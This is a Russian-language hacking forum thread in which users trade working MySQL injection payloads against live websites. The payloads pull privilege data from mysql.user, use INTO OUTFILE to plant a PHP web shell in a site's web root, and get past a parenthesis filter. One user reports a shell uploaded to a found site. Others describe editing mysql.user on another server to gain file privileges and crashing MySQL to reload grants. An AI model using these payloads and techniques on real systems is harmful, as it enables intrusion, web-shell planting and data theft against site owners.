Ну вот я делаю по такому плану чтобы узнать file_priv: 597+and(select+1+from(select+count(*),concat((select+(select+concat(0x7e,0x27,grant_priv,0x27,0x7e))+from+mysql.user+where+user='root'+limit+0,1),floor(rand(0)*2))x+from+`information_schema`.tables+group+by+x)a)+and+1=1 Мне выдает: Ошибка SQL запроса Duplicate entry '~'Y'~1' for key 'group_key' Далее делаю заливку файла: 597+and(select+1+from(select+count(*),concat((select+(select+concat(0x7e,0x27,'123456',0x27,0x7e))+from+mysql.user+into+outfile+'/var/www/admin/data/www/site.ru/news/images/1.txt'+limit+0,1),floor(rand(0)*2))x+from+`information_schema`.tables+group+by+x)a)+and+1=1 На что мне выдает: Ошибка SQL запроса You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'limit 0,1),floor(rand(0)*2))x from `information_schema`.tables group by x)a) and' at line 1 Где ошибка?
в blind sql-inj, это делается, как правило таким образом Code: ?var=data' LIMIT 1 INTO OUTFILE '/home/path/site/shell.php' LINES TERMINATED BY '<?php phpinfo(); ?>'-- 1
Ты узнаешь grant_priv, а не file_priv. И зачем писать запрос для вывода ошибки, если можно выполнить простой подзапрос? Code: +and(select'123'into+outfile+'/tmp/gg.txt')+and+1=1 Havij+Sniffer = Bad. P.S. Нашел сайт, льется нормально: news/images/aa.php?a=phpinfo();
Есть проблема: SQL фильтрует скобки () то есть запрос просто останавливается… впринципе возможно раскрутить и без скобок в особом случае, но и тут облом - при выводе из базы она ругается на несоответствующий тип данных, то есть информацию из базы надо конвертировать во что то, а конверт функции разумеется юзают (), поэтому как быть, я затрудняюсь. Как быть?
Может попробовать на прямую сделать запрос на стандартные пользовательские таблы или как вариант за хексить колонки, там не используются скобки, следущий как вариант попробовать найти подзапрос на вывод таблы, изредко но поподается, если есть префикс при выводе ошибки и знакомая цмс, то оброщайся на прямую, бывают еще такие случаи что подобные ошибки в скулях индексируются ПС, т.е как вариант...
1) искать подзапросы не вариант, и в нашем случае его однозначно нету. 2) если найти пользовательские таблицы, то будет тоже самое, инфу выводить как? будет несоответствие типов данных. 3) по поводу захексить колонки без () это как? непонел. Покажи пример, пожалуйста.
пример вывода таблиц: select 1,2,table_name,3,4 from information_schema.tables limit x,1# Пример вывода колонок: select 1,2,column_name,3,4 from information_schema.columns where table_name=0x[hex значение таблы юзеров] limit x,1# Пример вывода значений из пользовательских табл: select 1,2,user,password from [пользовательская табла] С хексом бывает, срабатывают изредко такие слечия: Пример вывода значений из пользовательских табл: select 1,2,0x[user],0x[password0] from [пользовательская табла]
твой пример: select 0x75736572 from table_user выдаст user но никак не информацию из таблицы table_user
С одного шелла подключился с БД другого сервера, у юзера под которым подключился file_priv=N, но можно изменять данные в БД mysql.user изменил file_priv на Y, но шелл всё равно не заливается. пишет что для моего юзера не хватает прав. Что можно предпринять?
Эта пять! preno, если нужна конвертация - то нужны и скобки. Ничего ты тут не сделаешь, если фильтрует их ваф грамотно. Вопрос в другом, это дествительно ваф? Он дествительно нормально фильтрует? Или это в коде проверка, или что это? Ну и второй вариант - искать поле вывода, в котором данные нужного типа, а тут как это не странно гений хака даёт единственный правильный ответ за всю историю своих постов : а я, к своему прискорбию, вынужден заметить, что был не прав, и у него бывают удачные посты!
Нужно обновить привелегии. Как это сделать - я писал в своём небольшом обзоре тут На всякий случай - вот копипаст Итак, если нам вдруг понадобится срочно перезагрузить MySQL, а прав на RELOAD нет, чтобы выполнить FLUSH PRIVILEGES; нам могут помочь следующие способы: Способ №1: Самый старый из найденных мной, но ни разу нигде не сработавших. Тем не менее человек на этом форуме утверждает, что это возможно... Тема 2008 года =) Кратко: MySQL падает так как надо указывать имя триггера в виде `mydb`.`mytrigger`, а не просто mytrigger. Code: mysql> CREATE TRIGGER mytrigger AFTER INSERT -> ON `mydb`.`mytable` FOR EACH ROW -> BEGIN END; ERROR 2013 (HY000): Lost connection to MySQL server during query mysql> OC = Windows XP SP 2 MySQL 5.0.16 Результат - Способ не отработал. Способ №2: Заключается в эксплуатации бага #63775 Кратко: MySQL падает при чтении заголовка, следующего за удалённой записью. Code: # # Bug#13510739 63775: SERVER CRASH ON HANDLER READ NEXT AFTER DELETE RECORD. # -- source include/have_innodb.inc CREATE TABLE bug13510739 (c INTEGER NOT NULL, PRIMARY KEY (c)) ENGINE=INNODB; INSERT INTO bug13510739 VALUES (1), (2), (3), (4); DELETE FROM bug13510739 WHERE c=2; HANDLER bug13510739 OPEN; HANDLER bug13510739 READ `primary` = (2); # this one crashes the server IF the bug IS present HANDLER bug13510739 READ `primary` NEXT; DROP TABLE bug13510739; На оффициальном сайте говорится, что пофиксено начиная с версии 5.1.62 Решил испытать на своей системе, где версия MySQL 5.1.61. Зависимости: MySQL < 5.1.62 Результат - падения MySQL не выявлено Способ №3: Вроде как найден участником форума Light Code: select 1 from table procedure analyse ((select 1 from (select 1)a),1); Скрины ниже. Зависимости: MySQL > 3 Результат - успешный перезапуск MySQL. PROFIT !!!
BigBear, спасибо, шелл залит. Сервак на фряхе, gcc нет, Кто-нибудь подскажетт как скомпилировать исходники сплойта под freebsd из под debian )
Почему кавычки передаваемые через гет, пост могут слешироватся ? При этом мэджик квотес офф, смотрел через пхпинфо. Переменная эта ничем не обрабатывается, мб гдето в недрах глобально только, ковыряюсь в плагине вордпресса. В чем может быть проблема ?
В самом плагине я не нашел ничего такого. Там где я нашел типа потенциальную иньекцию обрашения происходят либо через файл wp-admin/admin-ajax.php, в клиентской части. И через админку, через edit.php со своим типом страницы и обработчиками в плагине. Вот там и происходит экранирование. Если интересно, могу скинуть плагин в личку и показать те места что нашел. Единственное попрошу не сливать инфу о плагине в паблик, ибо он платный и достаточно популярный в рунете.